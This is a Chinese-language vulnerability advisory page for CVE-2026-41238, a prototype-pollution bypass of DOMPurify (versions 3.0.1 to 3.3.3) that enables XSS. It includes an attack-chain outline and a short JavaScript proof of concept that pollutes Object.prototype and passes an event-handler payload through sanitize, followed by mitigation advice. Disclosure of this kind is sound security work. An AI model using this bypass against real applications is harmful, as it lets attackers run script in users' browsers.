IPBUF安全漏洞报告
English
CVE-2026-41238 CVSS 6.9 中危

CVE-2026-41238 DOMPurify原型污染致XSS绕过漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-41238
漏洞类型
跨站脚本 (XSS)
CVSS评分
6.9 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
DOMPurify

相关标签

XSSPrototype PollutionDOMPurifyBypassClient-Side

漏洞概述

DOMPurify是HTML、MathML和SVG的XSS清理器。在3.0.1至3.3.3版本中,存在基于原型污染的XSS绕过漏洞。当应用在默认配置下使用DOMPurify.sanitize()时,若存在先前的原型污染,攻击者可向Object.prototype注入允许的tagNameCheck和attributeNameCheck正则值。这会导致DOMPurify允许任意自定义元素及属性(含事件处理程序)通过清理,从而引发跨站脚本攻击。

技术细节

该漏洞的核心机制是利用JavaScript原型链特性影响DOMPurify的校验逻辑。DOMPurify在处理HTML时,会检查自定义元素的标签名和属性名是否符合预设的`tagNameCheck`和`attributeNameCheck`规则。在默认配置下,这些规则可能未严格限制。攻击者首先需利用应用中存在的其他原型污染漏洞,将通配符正则(如`/.*/`)注入到`Object.prototype`的对应属性中。当DOMPurify执行清理操作时,由于原型继承,它会获取到被污染的校验规则,从而错误地认为所有自定义标签和属性(包括`onerror`、`onmouseover`等事件处理器)都是合法的。这导致原本应被过滤的恶意HTML代码被保留并渲染,最终在用户浏览器中执行任意JavaScript代码。

攻击链分析

STEP 1
步骤1
侦察并寻找应用中的原型污染漏洞。
STEP 2
步骤2
利用原型污染漏洞,向Object.prototype注入恶意的tagNameCheck和attributeNameCheck正则值。
STEP 3
步骤3
构造包含恶意自定义元素及事件处理程序的HTML载荷。
STEP 4
步骤4
诱导应用调用DOMPurify.sanitize()处理该载荷。
STEP 5
步骤5
绕过清理机制,将恶意HTML渲染至页面,触发XSS执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Step 1: Simulate Prototype Pollution // Attackers inject these regex values into Object.prototype via another gadget Object.prototype.tagNameCheck = /.*/; Object.prototype.attributeNameCheck = /.*/; // Step 2: Create DOMPurify instance const clean = DOMPurify.sanitize; // Step 3: Malicious payload containing custom element and event handler const dirty = '<my-custom-element onmouseover="alert(1)">XSS</my-custom-element>'; // Step 4: Sanitize // Due to pollution, the checks pass and the event handler is not stripped const sanitized = clean(dirty); // Step 5: Render the payload document.body.innerHTML = sanitized;

影响范围

DOMPurify 3.0.1 - 3.3.3

防御指南

临时缓解措施
建议立即升级至修复版本。若无法升级,请全面排查应用中是否存在其他原型污染漏洞并进行修复。此外,在使用DOMPurify.sanitize()时,应显式配置CUSTOM_ELEMENT_HANDLING选项,设置严格的tagNameCheck和attributeNameCheck回调函数,以防止受原型链影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表